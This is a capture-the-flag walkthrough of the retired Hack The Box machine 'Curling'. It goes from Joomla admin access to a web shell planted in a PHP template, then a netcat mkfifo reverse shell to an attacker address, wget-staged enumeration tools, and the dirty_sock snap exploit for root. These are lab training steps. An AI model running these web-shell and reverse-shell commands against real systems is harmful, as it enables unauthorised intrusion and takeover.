Curling

Name: Curling
Release Date: 27 Oct 2018
Retire Date: 20 Mar 2019
OS: Linux
Base Points: Easy - Retired [0]
Rated Difficulty:
Radar Graph:
owodelta 00 days, 03 hours, 33 mins, 05 seconds
owodelta 00 days, 03 hours, 44 mins, 09 seconds
Creator: L4mpje
CherryTree File: CherryTree - Remove the .txt extension

Again, we start with nmap -sC -sV -oA ./curling 10.10.10.150

 
$  nmap -sC -sV -oA ./Curling 10.10.10.150
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-30 19:25 EDT
  Nmap scan report for 10.10.10.150
  Host is up (0.069s latency).
  Not shown: 998 closed ports
  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
  |   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
  |_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
  80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
  |_http-generator: Joomla! - Open Source Content Management
  |_http-server-header: Apache/2.4.29 (Ubuntu)
  |_http-title: Home
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 11.97 seconds
 

Ok.  Let's jump straight into the web service.  We see from the nmap output that this site is running Joomla!

From the main page, we catch 2 names.  The "Written By" name of Super User, and the signature on the "My first post of Curling in 2018" name of floris.  Checking the source code, we also see a secret.txt comment between the closing body
and closing HTML tags (below the footer).

If we navigate to http://10.10.10.150/secret.txt, we are given a string of "Q3VybGluZzIwMTgh".  We can decode in cli or a https://www.base64decode.org/.


In cli, it would be 'echo Q3VybGluZzIwMTgh | base64 -d'.  Either way, the output is 'Curling2018!'.  While we were digging through source code and decoding secret.txt, we already had Dirbuster doing its thing.  Among the items it finds
is an administrator login page located http://10.10.10.150/administrator/.  Let's try floris:Curling2018! first and we are now into the Joomla Control Panel.  Now that we have access to the contol panel, let's see what vulnerabilities are in Joomla 3.8.8.  After searching a while, I look back at the Control Panel and check out the different (2) templates.  Protostar has the most promise.  So, after selecting Templates in the Configuration list, selecting Templates in the Templates: Templates (Site) page, and selecting Protostar Details and Files, I am brought to a Customise page that asks me to select a file.

I choose index.php.  Now let's add a system request 'system($_REQUEST['rce']);' to get RCE working (hopefully and remove the outer ' marks).

We save that and try to navigate to index.php?rce[simple command].  I tried cat /etc/passwd and the same with url encoding.  Both failed.  At this point, I'm not sure that my RCE is working, so let me try hostname and whoami.

OK.  RCE is definitely working. So, 'cat /etc/passwd' must be too complex a command. Using the netcat reverse shell from Pentest Monkey's Reverse Shell Cheatsheet, I try to add

 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.X.X 1234 >/tmp/f

 

to the template, but I take out the $_REQUEST piece.  Set up a netcat listener to the port (1234 is what I used on mine).  As soon as I save the template and refresh the home page, instant www-data shell.  Time to look around. Navigate to the /tmp folder, set up a SimpleHTTPServer on your machine and use wget to copy LinEnum.sh to the target machine.  Change the permissions and run it with -t.

 

On attacking machine:
 
  :/LinEnum$ sudo python -m SimpleHTTPServer 80
  Serving HTTP on 0.0.0.0 port 80 ...

On Target:
 
 wget http://10.10.X.X/LinEnum.sh
 chmod 777 LinEnum.sh
 ./LinEnum.sh -t > output.txt

 

I output mine to a txt file that I then move to my machine so that I can copy the results into the CTB file.  That being said, if you look in the "Post-Exploitation > Script Results" and find line 6140 of the LinEnum output, we find out that
/home/floris/password_backup is world readable.  Oops.  Somebody goofed on that one.

We can navigate to /home/floris but we can't open anything but the password_backup.  Which contains:

 
 00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
 00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y.....sVT.zH....1
 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
 000000f0: 819b bb48                                ...H
 

Nice HEXDUMP ya got there.  Would be a shame if someone reversed it......


Create a file on the attacking machine and paste that into it.  I used the name hexdump.  Then use xxd to reverse it.

 
 ~/Curling$cat hexdump | xxd -r > backup
  ~/Curling$ls
  backup  Curling.gnmap  Curling.nmap  Curling.xml  hexdump  output.txt
  ~/Curling$file backup 
  backup: bzip2 compressed data, block size = 900k
  
  ~/Curling$bzip2 -d backup
  bzip2: Can't guess original name for backup -- using backup.out
  ~/Curling$file backup.out
  backup.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
  ~/Curling$cp backup.out backup.gz
  ~/Curling$ls
  backup.gz  backup.out  Curling.gnmap  Curling.nmap  Curling.xml  hexdump  output.txt
  
  ~/Curling$gzip -d backup.gz 
  ~/Curling$ls
  backup  backup.out  Curling.gnmap  Curling.nmap  Curling.xml  hexdump  output.txt
  ~/Curling$file backup
  backup: bzip2 compressed data, block size = 900k
  
  ~/Curling$bzip2 -d backup
  bzip2: Can't guess original name for backup -- using backup.out
  ~/Curling$file backup.out 
  backup.out: POSIX tar archive (GNU)
  
  ~/Curling$tar xf backup.out
  ~/Curling$ls
  backup.out  Curling.gnmap  Curling.nmap  Curling.xml  hexdump  output.txt  password.txt
  
  ~/Curling$cat password.txt 
  5d<wdCbdZu)|hChXll
 

Looks like floris has a password of '5d&#60;wdCbdZu)|hChXll'  What can we do with it?  Well, we can ssh with it.  That SSH just yeilded us the User Flag.  On to ROOT!  


LinEnum output and manual searches on the box are not yeilding a whole lot of information that I can use.  Floris cannot sudo as anything and Floris can't view cron jobs. That doesn't mean those cronjobs aren't there.


Let's see if pspy will run.  We can download PSPY here and then use the usual to get it from attacker to victim.

 
Attacker:
  
  wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32s
  python -m SimpleHTTPServer 8081
  
  Victim:
  
  wget http://YOURIP:8081/pspy32s
  chmod +x pspy32s
  ./pspy32s
 

After a minute or so, we see an interesting couple of items.

What does curl -K do? It sets a config file for a cron job.  See, there IS a cronjob running.  Let's take a look at the admin-area/input file.

 

     floris@curling:~/admin-area$ ls -la
     total 28
     drwxr-x--- 2 root   floris  4096 May 22  2018 .
     drwxr-xr-x 6 floris floris  4096 Mar 31 14:44 ..
     -rw-rw---- 1 root   floris    25 Mar 31 14:54 input
     -rw-rw---- 1 root   floris 14248 Mar 31 14:54 report

 

The input file that the job is looking for is owned by the floris group.  That means I can make changes to it. Also, the -o in the pspy output outputs the cronjob information to the report file.


Let's look back at the LinEnum output.

 
  ###[00;33m### SYSTEM ###############################################[00m
  ###[00;31m[-] Kernel information:###[00m
  Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 

  ###[00;31m[-] Kernel information (continued):###[00m
  Linux version 4.15.0-22-generic (buildd@lgw01-amd64-013) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) 

  #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018
  
  ###[00;31m[-] Specific release information:###[00m
  DISTRIB_ID=Ubuntu
  DISTRIB_RELEASE=18.04
  DISTRIB_CODENAME=bionic
  DISTRIB_DESCRIPTION="Ubuntu 18.04 LTS"
  NAME="Ubuntu"
  VERSION="18.04 LTS (Bionic Beaver)"
  ID=ubuntu
  ID_LIKE=debian
  PRETTY_NAME="Ubuntu 18.04 LTS"
  VERSION_ID="18.04"
  HOME_URL="https://www.ubuntu.com/"
  SUPPORT_URL="https://help.ubuntu.com/"
  BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
  PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
  VERSION_CODENAME=bionic
  UBUNTU_CODENAME=bionic
  
  $ snap version
  snap    2.32.8+18.04
  snapd   2.32.8+18.04
  series  16
  ubuntu  18.04
  kernel  4.15.0-22-generic
 

This is a Ubuntu box with a 4.15.0.22 kernel.  I seem to remember a vuln called "dirty sock" that exploits the snap version on this kernel.  Snagging the PoC code at https://github.com/initstring/dirty_sock, we transfer it over to the victim machine and run it.  Once it completes, you can su to dirty_sock, and then sudo su to root and get the root shell.